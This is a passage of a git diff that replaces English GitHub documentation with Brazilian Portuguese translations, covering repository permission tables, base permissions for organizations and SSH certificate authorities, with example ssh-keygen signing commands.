-| View published releases | **X** | **X** | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| View [GitHub Actions workflow runs](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| Edit wikis in public repositories | **X** | **X** | **X** | **X** | **X** |
-| Edit wikis in private repositories | | | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| [Report abusive or spammy content](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| Apply/dismiss labels | | **X** | **X** | **X** | **X** |
-| Create, edit, delete labels | | | **X** | **X** | **X** |
-| Close, reopen, and assign all issues and pull requests | | **X** | **X** | **X** | **X** |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| [Enable and disable auto-merge on a pull request](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | **X** | **X** | **X** |{% endif %}
-| Apply milestones |  | **X** | **X** | **X** | **X** |
-| Mark [duplicate issues and pull requests](/articles/about-duplicate-issues-and-pull-requests)| | **X** | **X** | **X** | **X** |
-| Request [pull request reviews](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | **X** | **X** | **X** | **X** |
-| Merge a [pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | **X** | **X** | **X** |
-| Push to (write) the person or team's assigned repositories | | | **X** | **X** | **X** |
-| Edit and delete anyone's comments on commits, pull requests, and issues | | | **X** | **X** | **X** |
-| [Hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | **X** | **X** | **X** |
-| [Lock conversations](/communities/moderating-comments-and-conversations/locking-conversations) | | | **X** | **X** | **X** |
-| Transfer issues (see "[Transferring an issue to another repository](/articles/transferring-an-issue-to-another-repository)" for details) |  | | **X** | **X** | **X** |
-| [Act as a designated code owner for a repository](/articles/about-code-owners) | | | **X** | **X** | **X** |
-| [Mark a draft pull request as ready for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **X** | **X** | **X** |
-| [Convert a pull request to a draft](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **X** | **X** | **X** |
-| Submit reviews that affect a pull request's mergeability | | | **X** | **X** | **X** |
-| [Apply suggested changes](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) to pull requests | | | **X** | **X** | **X** |
-| Create [status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| Create, edit, run, re-run, and cancel [GitHub Actions workflows](/actions/automating-your-workflow-with-github-actions/) | | | **X** | **X** | **X** |{% endif %}
-| Create and edit releases | | | **X** | **X** | **X** |
-| View draft releases | | | **X** | **X** | **X** |
-| Edit a repository's description | | | | **X** | **X** |{% ifversion fpt or ghae or ghec %}
-| [View and install packages](/packages/publishing-and-managing-packages) | **X** | **X** | **X** | **X** | **X** |
-| [Publish packages](/packages/publishing-and-managing-packages/publishing-a-package) | | | **X** | **X** | **X** |
-| {% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Delete packages](/packages/learn-github-packages/deleting-a-package){% endif %} | | |  |  | **X** | {% endif %}
-| Manage [topics](/articles/classifying-your-repository-with-topics) | | | | **X** | **X** |
-| Enable wikis and restrict wiki editors | | | | **X** | **X** |
-| Enable project boards | | | | **X** | **X** |
-| Configure [pull request merges](/articles/configuring-pull-request-merges) | | | | **X** | **X** |
-| Configure [a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages) | | | | **X** | **X** |
-| [Push to protected branches](/articles/about-protected-branches) | | | | **X** | **X** |
-| [Create and edit repository social cards](/articles/customizing-your-repositorys-social-media-preview) | | | | **X** | **X** |{% ifversion fpt or ghec %}
-| Limit [interactions in a repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | **X** | **X** |{% endif %}
-| Delete an issue (see "[Deleting an issue](/articles/deleting-an-issue)") | | | | | **X** |
-| Merge pull requests on protected branches, even if there are no approving reviews | | | | | **X** |
-| [Define code owners for a repository](/articles/about-code-owners) | | | | | **X** |
-| Add a repository to a team (see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)" for details) | | | | | **X** |
-| [Manage outside collaborator access to a repository](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | **X** |
-| [Change a repository's visibility](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | **X** |
-| Make a repository a template (see "[Creating a template repository](/articles/creating-a-template-repository)") | | | | | **X** |
-| Change a repository's settings | | | | | **X** |
-| Manage team and collaborator access to the repository | | | | | **X** |
-| Edit the repository's default branch | | | | | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| Rename the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | | | **X** |
-| Rename a branch other than the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | **X** | **X** | **X** |{% endif %}
-| Manage webhooks and deploy keys | | | | | **X** |{% ifversion fpt or ghec %}
-| [Manage data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository) | | | | | **X** |{% endif %}
-| [Manage the forking policy for a repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | **X** |
-| [Transfer repositories into the organization](/articles/restricting-repository-creation-in-your-organization) | | | | | **X** |
-| [Delete or transfer repositories out of the organization](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | **X** |
-| [Archive repositories](/articles/about-archiving-repositories) | | | | | **X** |{% ifversion fpt or ghec %}
-| Display a sponsor button (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") | | | | | **X** |{% endif %}
-| Create autolink references to external resources, like JIRA or Zendesk (see "[Configuring autolinks to reference external resources](/articles/configuring-autolinks-to-reference-external-resources)") | | | | | **X** |{% ifversion fpt or ghec %}
-| [Enable {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) in a repository | | | | **X** | **X** |
-| [Create and edit categories](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository) for {% data variables.product.prodname_discussions %} | | | | **X** | **X** |
-| [Move a discussion to a different category](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Transfer a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) to a new repository| | | **X** | **X** | **X** |
-| [Manage pinned discussions](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Convert issues to discussions in bulk](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Lock and unlock discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
-| [Individually convert issues to discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
-| [Create new discussions and comment on existing discussions](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **X** | **X** | **X** | **X** | **X** |
-| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion) | | | | **X** | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [codespaces](/codespaces/about-codespaces) | | | **X** | **X** | **X** |{% endif %}
+### Requisitos de acesso para funcionalidades de segurança
 
-### Access requirements for security features
+Nesta seção, você pode encontrar o acesso necessário para as funcionalidades de segurança, como as funcionalidades de {% data variables.product.prodname_advanced_security %}.
 
-In this section, you can find the access required for security features, such as {% data variables.product.prodname_advanced_security %} features.
-
-| Repository action | Read | Triage | Write | Maintain | Admin |
-|:---|:---:|:---:|:---:|:---:|:---:| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| Receive [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) in a repository | | | | | **X** |
-| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}<!--Not available for FPT-->
-| [Designate additional people or teams to receive security alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [security advisories](/code-security/security-advisories/about-github-security-advisories) | | | | | **X** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
-| Manage access to {% data variables.product.prodname_GH_advanced_security %} features (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
-| [Enable the dependency graph](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) for a private repository | | | | | **X** |{% endif %}{% ifversion ghes > 3.1 or ghae-issue-4864 or ghec %}
-| [View dependency reviews](/code-security/supply-chain-security/about-dependency-review) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| [View {% data variables.product.prodname_code_scanning %} alerts on pull requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **X** | **X** | **X** | **X** | **X** |
-| [List, dismiss, and delete {% data variables.product.prodname_code_scanning %} alerts](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **X** | **X** | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes > 3.0 or ghae or ghec %}<!--Not available for FPT-->
-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes = 3.0 %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |
-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}
-| [Designate additional people or teams to receive {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | | | | | **X** |{% endif %}
+| Ação no repositório                                                                                                                                                                                                                                                                            | Leitura | Triagem |                        Gravação                        |                       Manutenção                       |                                              Administrador                                              |
+|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-------:|:-------:|:------------------------------------------------------:|:------------------------------------------------------:|:-------------------------------------------------------------------------------------------------------:|
+| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}                                                                                                                                                                                                                                         |         |         |                                                        |                                                        |                                                                                                         |
+| Receber [{% data variables.product.prodname_dependabot_alerts %} para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) em um repositório                                                                                             |         |         |                                                        |                                                        |                                                  **X**                                                  |
+| [Ignorar {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository)                                                                                                                      |         |         |                                                        |                                                        | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}<!--Not available for FPT-->
+|
+| [Designe outras pessoas ou equipes para receber alertas de segurança](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)                                                                                       |         |         |                                                        |                                                        |                              **X** |{% endif %}{% ifversion fpt or ghec %}
+| Criar [consultorias de segurança](/code-security/security-advisories/about-github-security-advisories)                                                                                                                                                                                         |         |         |                                                        |                                                        |      **X** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
+|
+| Gerenciar acesso às funcionalidades de {% data variables.product.prodname_GH_advanced_security %} (ver "[Gerenciar configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") |         |         |                                                        |                                                        |    **X** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
+|
+| [Habilitar o gráfico de dependências](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) em um repositório privado                                                                                                                                               |         |         |                                                        |                                                        |                 **X** |{% endif %}{% ifversion ghes > 3.1 or ghae-issue-4864 or ghec %}
+| [Visualizar as revisões de dependências](/code-security/supply-chain-security/about-dependency-review)                                                                                                                                                                                         |  **X**  |  **X**  |                         **X**                          |                         **X**                          |                                           **X** 
+{% endif %}
+| [Visualizar alertas de {% data variables.product.prodname_code_scanning %} em pull requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests)                                                                                |  **X**  |  **X**  |                         **X**                          |                         **X**                          |                                                  **X**                                                  |
+| [Lista, descarta e exclui alertas de {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository)                                                                                |         |         |                         **X**                          |                         **X**                          |                        **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| [Visualizar alertas de {% data variables.product.prodname_secret_scanning %} em um repositório](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                                                                     |         |         | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} |   **X** |{% endif %}{% ifversion ghes > 3.0 or ghae or ghec %}<!--Not available for FPT-->
+|
+| [Resolver, revogar ou reabrir alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                                                                     |         |         | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} |                              **X** |{% endif %}{% ifversion ghes = 3.0 %}
+| [Visualizar alertas de {% data variables.product.prodname_secret_scanning %} em um repositório](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                                                                     |         |         |                                                        |                                                        |                                                  **X**                                                  |
+| [Resolver, revogar ou reabrir alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                                                                     |         |         |                                                        |                                                        |                    **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}
+| [Designar outras pessoas ou equipes para receber alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) em repositórios                        |         |         |                                                        |                                                        |                                           **X** 
+{% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-[1] Repository writers and maintainers can only see alert information for their own commits.
+[1] Os autores e mantenedores do repositório só podem ver informações de alertas sobre seus próprios commits.
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- "[Gerenciar acessos aos repositórios da organização](/articles/managing-access-to-your-organization-s-repositories)"
+- "[Adicionar colaboradores externos a repositórios na sua organização](/articles/adding-outside-collaborators-to-repositories-in-your-organization)"
+- "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md
index fc6aca0e28..bed91bc032 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Setting base permissions for an organization
-intro: You can set base permissions for the repositories that an organization owns.
+title: Definir permissões básicas para uma organização
+intro: Você pode definir permissões básicas para repositórios que uma organização possui.
 permissions: Organization owners can set base permissions for an organization.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization
@@ -12,32 +12,30 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set base permissions
+shortTitle: Definir permissões básicas
 ---
 
-## About base permissions for an organization
+## Sobre as permissões básicas para uma organização
 
-You can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. Base permissions do not apply to outside collaborators.
+É possível definir as permissões básicas que se aplicam a todos os integrantes da organização ao acessar qualquer um dos repositórios da organização. As permissões básicas não se aplicam a colaboradores externos.
 
-{% ifversion fpt or ghec %}By default, members of an organization will have **Read** permissions to the organization's repositories.{% endif %}
+{% ifversion fpt or ghec %}Por padrão, os integrantes de uma organização terão permissão de **leitura** nos repositórios da organização.{% endif %}
 
-If someone with admin access to an organization's repository grants a member a higher level of access for the repository, the higher level of access overrides the base permission.
+Se alguém com acesso de administrador ao repositório de uma organização conceder a um integrante um nível maior de acesso para o repositório, o nível maior de acesso irá substituir a permissão de base.
 
 {% ifversion ghec %}
-If you've created a custom repository role with an inherited role that is lower access than your organization's base permissions, any members assigned to that role will default to the organization's base permissions rather than the inherited role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+Se você criou uma função de repositório personalizado com uma função herdada com um acesso menor do que as permissões básicas da sua organização, qualquer integrante atribuído a essa função será padrão para as permissões básicas da organização, ao invés da função herdada. Para obter mais informações, consulte "[Gerenciando as funções de repositórios personalizados para uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".
 {% endif %}
 
-## Setting base permissions
+## Definir permissões básicas
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Base permissions", use the drop-down to select new base permissions.
-  ![Selecting new permission level from base permissions drop-down](/assets/images/help/organizations/base-permissions-drop-down.png)
-6. Review the changes. To confirm, click **Change default permission to PERMISSION**.
-  ![Reviewing and confirming change of base permissions](/assets/images/help/organizations/base-permissions-confirm.png)
+5. Em "Permissões básicas", use o menu suspenso para selecionar novas permissões básicas. ![Selecionar novo nível de permissão a partir do menu suspenso de permissões básicas](/assets/images/help/organizations/base-permissions-drop-down.png)
+6. Revise as alterações. Para confirmar, clique em **Alterar permissão-padrão para PERMISSÃO**. ![Revisar e confirmar a alteração das permissões básicas](/assets/images/help/organizations/base-permissions-confirm.png)
 
-## Further reading
+## Leia mais
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Adicionar colaboradores externos a repositórios na sua organização](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md b/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md
index 835e187a8a..e1d18ba950 100644
--- a/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md
+++ b/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md
@@ -1,6 +1,6 @@
 ---
-title: About SSH certificate authorities
-intro: 'With an SSH certificate authority, your organization or enterprise account can provide SSH certificates that members can use to access your resources with Git.'
+title: Sobre autoridades certificadas de SSH
+intro: 'Com uma autoridade certificada SSH, a organização ou conta corporativa pode oferecer certificados SSH para os integrantes usarem ao acessar seus recursos com o Git.'
 product: '{% data reusables.gated-features.ssh-certificate-authorities %}'
 redirect_from:
   - /articles/about-ssh-certificate-authorities
@@ -13,28 +13,28 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: SSH certificate authorities
+shortTitle: Autoridades do certificado SSH
 ---
 
-## About SSH certificate authorities
+## Sobre autoridades certificadas de SSH
 
-An SSH certificate is a mechanism for one SSH key to sign another SSH key. If you use an SSH certificate authority (CA) to provide your organization members with signed SSH certificates, you can add the CA to your enterprise account or organization to allow organization members to use their certificates to access organization resources. 
+Um certificado SSH é um mecanismo utilizado para uma chave SSH assinar outra chave SSH. Se você usa uma autoridade certificada (CA) SSH para fornecer certificados SSH aos integrantes da organização, você pode adicionar a CA em sua conta corporativa ou organização para permitir que integrantes da organização usem os certificados deles para acessar os recursos da organização.
 
-After you add an SSH CA to your organization or enterprise account, you can use the CA to sign client SSH certificates for organization members. Organization members can use the signed certificates to access your organization's repositories (and only your organization's repositories) with Git. Optionally, you can require that members use SSH certificates to access organization resources. For more information, see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" and "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)."
+Depois de adicionar uma CA SSH à sua organização ou conta corporativa, você pode usar a CA para assinar certificados SSH de cliente para integrantes da organização. Integrantes da organização podem usar os certificados assinados para acessar os repositórios da sua organização (e somente os repositórios da sua organização) no Git. Opcionalmente, você pode exigir que os integrantes utilizem certificados SSH para acessar recursos da organização. Para obter mais informações, consulte "[Gerenciando as autoridades certificadas SSH da sua organização](/articles/managing-your-organizations-ssh-certificate-authorities)" e "[Aplicando as políticas para configurações de segurança na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise). "
 
-For example, you can build an internal system that issues a new certificate to your developers every morning. Each developer can use their daily certificate to work on your organization's repositories on {% data variables.product.product_name %}. At the end of the day, the certificate can automatically expire, protecting your repositories if the certificate is later compromised.
+Por exemplo, você pode desenvolver um sistema interno que emite um novo certificado para seus desenvolvedores todas as manhãs. Cada desenvolvedor pode usar o certificado diário para trabalhar nos repositórios da organização no {% data variables.product.product_name %}. No final do dia, o certificado pode expirar automaticamente, protegendo seus repositórios caso o certificado seja adulterado mais tarde.
 
 {% ifversion fpt or ghec %}
-Organization members can use their signed certificates for authentication even if you've enforced SAML single sign-on. Unless you make SSH certificates a requirement, organization members can continue to use other means of authentication to access your organization's resources with Git, including their username and password, personal access tokens, and their own SSH keys.
+Integrantes da organização podem usar os certificados assinados para autenticação mesmo que você tenha aplicado o logon único SAML. A menos que você exija certificados SSH, os integrantes podem continuar a usar outros meios de autenticação para acessar os recursos da organização no Git, como o nome de usuário e senha deles, tokens de acesso pessoais e outras chaves SSH próprias.
 {% endif %}
 
-Members will not be able to use their certificates to access forks of your repositories that are owned by their user accounts. 
+Os integrantes não poderão usar seus certificados para acessar bifurcações dos seus repositórios que são propriedade das contas de usuário.
 
-To prevent authentication errors, organization members should use a special URL that includes the organization ID to clone repositories using signed certificates. Anyone with read access to the repository can find this URL on the repository page. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+Para evitar erros de autenticação, os integrantes da organização devem usar uma URL especial que inclua o ID da organização para clonar repositórios usando certificados assinados. Qualquer pessoa com acesso de leitura no repositório pode localizar essa URL na página do repositório. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)".
 
-## Issuing certificates
+## Emitindo certificados
 
-When you issue each certificate, you must include an extension that specifies which {% data variables.product.product_name %} user the certificate is for. For example, you can use OpenSSH's `ssh-keygen` command, replacing _KEY-IDENTITY_ with your key identity and _USERNAME_ with a {% data variables.product.product_name %} username. The certificate you generate will be authorized to act on behalf of that user for any of your organization's resources. Make sure you validate the user's identity before you issue the certificate.
+A cada emissão de certificado, você deve incluir uma extensão especificando para qual usuário do {% data variables.product.product_name %} é o certificado. Por exemplo, você pode usar o comando do OpenSSH `ssh-keygen` substituindo _KEY-IDENTITY_ por sua identidade chave e _USERNAME_ por um nome de usuário do {% data variables.product.product_name %}. O certificado que você gerar será autorizado a agir em nome desse usuário para qualquer um dos recursos da sua organização. Certifique-se de validar a identidade do usuário antes de emitir o certificado.
 
 ```shell
 $ ssh-keygen -s ./ca-key -V '+1d' -I <em>KEY-IDENTITY</em> -O extension:login@{% data variables.product.product_url %}=<em>USERNAME</em> ./user-key.pub
@@ -42,17 +42,17 @@ $ ssh-keygen -s ./ca-key -V '+1d' -I <em>KEY-IDENTITY</em> -O extension:login@{%
 
 {% warning %}
 
-**Warning**: After a certificate has been signed and issued, the certificate cannot be revoked. Make sure to use the -`V` flag to configure a lifetime for the certificate, or the certificate can be used indefinitely.
+**Aviso**: Depois de um certificado ter sido assinado e emitido, ele não poderá ser revogado. Certifique-se de usar o sinalizador -`V` para configurar o tempo de vida útil do certificado ou este poderá ser usado indefinidamente.
 
 {% endwarning %}
 
-To issue a certificate for someone who uses SSH to access multiple {% data variables.product.company_short %} products, you can include two login extensions to specify the username for each product. For example, the following command would issue a certificate for _USERNAME-1_ for the user's account for {% data variables.product.prodname_ghe_cloud %}, and _USERNAME-2_ for the user's account on {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} at _HOSTNAME_.
+Para emitir um certificado para alguém que utiliza SSH para acessar vários produtos de {% data variables.product.company_short %}, você pode incluir duas extensões de login para especificar o nome de usuário para cada produto. Por exemplo, o comando a seguir emitiria um certificado para _USERNAME-1_ para a conta do usuário para {% data variables.product.prodname_ghe_cloud %}, e _USERNAME-2_ para a conta do usuário em {% data variables.product.prodname_ghe_managed %} ou {% data variables.product.prodname_ghe_server %} em _HOSTNAME_.
 
 ```shell
 $ ssh-keygen -s ./ca-key -V '+1d' -I <em>KEY-IDENTITY</em> -O extension:login@github.com=<em>USERNAME-1</em> extension:login@<em>HOSTNAME</em>=<em>USERNAME-2</em> ./user-key.pub
 ```
 
-You can restrict the IP addresses from which an organization member can access your organization's resources by using a `source-address` extension. The extension accepts a specific IP address or a range of IP addresses using CIDR notation. You can specify multiple addresses or ranges by separating the values with commas. For more information, see "[Classless Inter-Domain Routing](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)" on Wikipedia.
+É possível restringir os endereços IP dos quais um integrante da organização pode acessar os recursos da sua organização usando uma extensão `source-address`. A extensão aceita um endereço IP específico ou um intervalo de endereços IP usando a notação CIDR. É possível especificar vários endereços ou intervalos separando os valores com vírgulas. Para obter mais informações, consulte "[Roteamento interdomínio sem classes](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)" na Wikipedia.
 
 ```shell
 $ ssh-keygen -s ./ca-key -V '+1d' -I <em>KEY-IDENTITY</em> -O extension:login@{% data variables.product.product_url %}=<em>USERNAME</em> -O source-address=<em>COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES</em> ./user-key.pub
diff --git a/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
index ddff241ba3..e7dfc07c43 100644
--- a/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
+++ b/translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing Git access to your organization's repositories
-intro: You can add an SSH certificate authority (CA) to your organization and allow members to access the organization's repositories over Git using keys signed by the SSH CA.
+title: Gerenciar acesso do Git aos repositórios da organização
+intro: 'Você pode adicionar uma autoridade certificada (CA, certificate authority) SSH em sua organização e permitir que os integrantes acessem os repositórios da organização no Git usando as chaves assinadas pela CA SSH.'
 product: '{% data reusables.gated-features.ssh-certificate-authorities %}'
 redirect_from:
   - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities
@@ -17,6 +17,6 @@ topics:
 children:
   - /about-ssh-certificate-authorities
   - /managing-your-organizations-ssh-certificate-authorities
-shortTitle: Manage Git access
+shortTitle: Gerenciar acesso do Git
 ---
 
diff --git a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
index fcbc84c3ef..7881f2c02b 100644
--- a/translations/pt-BR/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
+++ b/translations/pt-BR/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Can I create accounts for people in my organization?
